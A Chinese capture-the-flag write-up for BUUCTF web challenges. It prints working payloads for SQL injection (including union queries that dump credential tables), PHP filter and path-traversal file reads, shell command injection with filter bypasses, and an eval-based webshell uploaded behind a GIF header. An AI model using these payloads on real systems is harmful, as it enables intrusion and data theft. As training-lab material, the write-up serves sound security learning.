BUUCTF--Web篇详细wp
[极客大挑战 2019]EasySQL[极客大挑战 2019]Havefun[HCTF 2018]WarmUp[ACTF2020 新生赛]Include[ACTF2020 新生赛]Exec[强网杯 2019]随便注[GXYCTF2019]Ping Ping Ping[SUCTF 2019]EasySQL[极客大挑战 2019]Secret File[极客大挑战 2019]LoveSQL[极客大挑战 2019]Http[极客大挑战 2019]Knife[极客大挑战 2019]Upload[ACTF2020 新生赛]Upload
CTF平台:https://buuoj.cn/
[极客大挑战 2019]EasySQL
使用万能密码登入即可。
1'or'1'='1 #万能密码(注意是英文小写)
flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}
[极客大挑战 2019]Havefun
F12
查看源代码 发现是PHP
代码审计(小猫挺可爱呢~)
<!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->
传了一个变量 然后是GET
请求 如果cat=dog
就会输出 flag
构造Payload:/?cat=dog
flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}
[HCTF 2018]WarmUp
打开网页看到滑稽图 直接F12
然后访问这个敏感信息 source.php
直接看源码
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
flag{313235c5-75b2-4e8a-b225-8e7413865bc7}
[ACTF2020 新生赛]Include
这里我们看到了?file=flag.php
我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息
文件包含分为本地文件包含 和 远程文件包含(php.ini
可以进行配置)
allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)allow_url_include=On/Off 远程文件包含(RFI)
常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()
Require
: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;Include
:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;Require_once
:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含; 用法:?file=../../../../../../../../../../../../../../../../etc/passwd
PHP
伪协议:
php://filter
用于读取源码php://input
用于执行php代码 php://filter
使用:
php://filter/read=convert.base64-encode/resource=xxx # 用base64编码的方式来读文件flag.php
Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php
然后Base64
解码就可以得到flag
。
flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}
[ACTF2020 新生赛]Exec
简单的命令执行 : 127.0.0.1 || cat /flag
即可得到flag
。
flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}
[强网杯 2019]随便注
输入1,2
输入3
的时候发现报错了 说明只有两个字段
先放着 还没研究明白这题
[GXYCTF2019]Ping Ping Ping
输入:/?ip=127.0.0.1
有回显继续过滤 || ls
发现有flag.php
文件 这里看到space
提示是空格绕过
这里可以参考:https://blog.csdn.net/a3320315/article/details/99773192
{cat,flag.txt}cat${IFS}flag.txtcat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数cat<flag.txtcat<>flag.txtkg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
这里第1
种方法不行 可能是{}
被过滤了 直接看第3
个但是还是过滤了 在尝试一些index.php
这里可以看到源代码 进行代码审计!
/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo ""; print_r($a);}?>
可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)
内联执行:将指定的函数体插入并取代每一处调用该函数的地方
`` 反引号 在linux中作为内联执行,执行输出结果 cat `ls` //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php 构造Payload :?ip=127.0.0.1|cat$IF$9`ls`
`
flag{ae43eee7-f909-4d59-b405-e52f3347c18f}
[SUCTF 2019]EasySQL
考点:堆叠注入
这里输入1,2
有回显0
有没有 字母也没有 尝试order
发现也被过滤了回显 Nonono
这里我们尝试一下堆叠注入 1;show databases;
发现有回显
查看数据库的表1; show tables;
发现 FLAG
表 继续查询1;show columns from
用来查询表中列名称 (发现这里也被过滤了)
其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库
sql内置语句:sql=“select”.post[‘query’]."||flag from Flag";
*
没过滤 输入*
,1
就相当于构造了select *,1 || flag from Flag,
这条语句执行起来相当于select *, 1 from Flag
flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}
[极客大挑战 2019]Secret File
直接F12
查看源代码 看到了一个./Archive_room.php
进行访问,使用BP
简单抓个包发现了 secr3t.php
<html> <title>secret</title> <meta charset="UTF-8"><?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里?></html>
这里访问 flag.php
他说在里面 发现没有然后看到刚刚源码的 include()
函数 存在文件包含使用伪协议(上面有讲怎么 使用)
构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
Base64解码:http://www.jsons.cn/base64
flag{a402233a-9fc9-4d14-8c45-5dc839309887}
[极客大挑战 2019]LoveSQL
考点:联合注入
使用万能密码 1'or'1'='1
1' union select 1,2,3# #联合查询查看 字段
1' union select 1,2,3,4# #
这里输入4
报错 说明只有3
个字段
1' union select 1,2,database()# 爆破数据库
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'# 爆破geek表
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'# 爆字段
1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1# 用concat_ws函数连起来全部看一下
这里F12太长了看不了
flag{95ef6cab-f872-44ad-b725-ccaffc73865e}
[极客大挑战 2019]Http
考点:HTTP
伪造请求头
知识点:HTTP
请求响应头
referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)X-Forwarded-For: 用户访问服务器的 IP 地址Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)User-Agent: 使用的浏览器版本信息
先F12
查看一下源代码发现了/Secret.php
这里给了提示:https://www.Sycsecret.com
需要从这个url
请求发送 直接抓包 改一下。
referer:https://www.Sycsecret.com User-Agent:SycloverX-Forwarded-For:127.0.0.1
然后又给了提示 需要使用Syclover
浏览器 然后又提示本地访问!
flag{728bec5d-fa79-4344-960b-c21796344bab}
[极客大挑战 2019]Knife
考点:一句话木马和WebSell
工具的使用
这里直接给了提示和密码,直接尝试用蚁剑进行连接 连接成功!!
flag{051fb5b7-4039-4242-9a69-eeb6e3c1e42b}
[极客大挑战 2019]Upload
这里回显 NO php
说明不能后缀为php
尝试使用 phtml
文件 不能包含:" <? "
还要进行绕过
使用 script
标签 绕过“<?”
限制:<script language='php'>@eval($_POST['cmd']);</script>
这里还是不行 说上传的不图片!!
使用 GIF89a
图片头文件欺骗 php
会检测其为gif
图片 这里终于上传成功了!!!flag
在根目录下 直接查看即可。
flag{cafd9be5-a8fd-4df3-a495-fd08c6fb0a2f}
[ACTF2020 新生赛]Upload
这里要把后缀改了 jpg png
都行 然后和上一题一样的方法 a.phtml
然后上传成功!!
这里告诉了上传路径直接蚁剑连接 :./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml
flag{e6460410-638d-4560-ab9b-34fa22f30854}